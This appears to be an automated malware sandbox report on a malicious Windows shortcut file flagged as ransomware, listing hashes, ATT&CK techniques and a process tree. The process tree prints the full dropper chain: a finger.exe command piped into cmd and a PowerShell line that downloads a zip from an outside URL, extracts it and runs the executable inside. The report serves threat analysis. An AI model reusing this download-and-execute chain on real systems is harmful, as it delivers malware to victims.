055a178dfb1189e4112fec2c62fccce52742a7d206e28e1a19a388938954bbd7

General

Target

055a178dfb1189e4112fec2c62fccce52742a7d206e28e1a19a388938954bbd7.bin.lnk
Size

669B
MD5

b4a5e41db4f64b7e42a0dcfff1a93d6c
SHA1

9459e181f8a5a48c101d97daeecd68273a721b08
SHA256

055a178dfb1189e4112fec2c62fccce52742a7d206e28e1a19a388938954bbd7
SHA512

ef543b94f3870e463639c9bb1dfa9b9218cfeecfab04cda11d18cdda3b0d0842f4e4b81265788cff59307d52c2dab0f2175ef277ead96951c598bbfe96c27036

Score

10^/10

ransomware

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://prorrogaciones.eastus2.cloudapp.azure.com/adv64.zip

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2740 powershell.exe
2740 powershell.exe
2740 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2740 powershell.exe

pid	process
2740	powershell.exe
2740	powershell.exe
2740	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

cmd.execmd.execmd.exe

description	pid	process	target process
PID 4048 wrote to memory of 728	4048	cmd.exe	cmd.exe
PID 4048 wrote to memory of 728	4048	cmd.exe	cmd.exe
PID 728 wrote to memory of 796	728	cmd.exe	finger.exe
PID 728 wrote to memory of 796	728	cmd.exe	finger.exe
PID 728 wrote to memory of 1092	728	cmd.exe	more.com
PID 728 wrote to memory of 1092	728	cmd.exe	more.com
PID 728 wrote to memory of 680	728	cmd.exe	cmd.exe
PID 728 wrote to memory of 680	728	cmd.exe	cmd.exe
PID 680 wrote to memory of 2740	680	cmd.exe	powershell.exe
PID 680 wrote to memory of 2740	680	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\055a178dfb1189e4112fec2c62fccce52742a7d206e28e1a19a388938954bbd7.bin.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:4048

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c "finger.exe [email protected]|more +2|cmd"
2⤵
- Suspicious use of WriteProcessMemory
PID:728

C:\Windows\System32\finger.exe
finger.exe [email protected]
3⤵
PID:796

C:\Windows\System32\more.com
more +2
3⤵
PID:1092

C:\Windows\System32\cmd.exe
cmd
3⤵
- Suspicious use of WriteProcessMemory
PID:680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Import-Module BitsTransfer; if (Test-Path C:\Users\Admin\AppData\Roaming\abcd) {exit}; Start-BitsTransfer 'http://prorrogaciones.eastus2.cloudapp.azure.com/adv64.zip' -Destination 'C:\Users\Admin\AppData\Roaming\goder.zip'; Start-Sleep -s 20; $shell = New-Object -ComObject Shell.Application;$zipFile = $shell.NameSpace('C:\Users\Admin\AppData\Roaming\goder.zip'); MkDir('C:\Users\Admin\AppData\Roaming\ok'); $destinationFolder = $shell.NameSpace('C:\Users\Admin\AppData\Roaming\ok');$copyFlags += 0x04;$destinationFolder.CopyHere($zipFile.Items(), $copyFlags); Start-Process 'C:\Users\Admin\AppData\Roaming\ok\bob.exe'; New-Item c:\programdata\abcd -ItemType File
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2740

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/680-5-0x0000000000000000-mapping.dmp

Download
memory/728-2-0x0000000000000000-mapping.dmp

Download
memory/796-3-0x0000000000000000-mapping.dmp

Download
memory/1092-4-0x0000000000000000-mapping.dmp

Download
memory/2740-8-0x000002BCE8E90000-0x000002BCE8E91000-memory.dmp

Filesize
4KB

Download
memory/2740-7-0x00007FFE2F620000-0x00007FFE3000C000-memory.dmp

Filesize
9.9MB

Download
memory/2740-6-0x0000000000000000-mapping.dmp

Download
memory/2740-9-0x000002BCE6DB0000-0x000002BCE6DB2000-memory.dmp

Filesize
8KB

Download
memory/2740-10-0x000002BCE6DB3000-0x000002BCE6DB5000-memory.dmp

Filesize
8KB

Download
memory/2740-11-0x000002BCE9980000-0x000002BCE9981000-memory.dmp

Filesize
4KB

Download
memory/2740-12-0x000002BCE9910000-0x000002BCE9911000-memory.dmp

Filesize
4KB

Download
memory/2740-13-0x000002BCE9B30000-0x000002BCE9B31000-memory.dmp

Filesize
4KB

Download
memory/2740-15-0x000002BCE6DB8000-0x000002BCE6DB9000-memory.dmp

Filesize
4KB

Download
memory/2740-14-0x000002BCE6DB6000-0x000002BCE6DB8000-memory.dmp

Filesize
8KB

Download

Analysis

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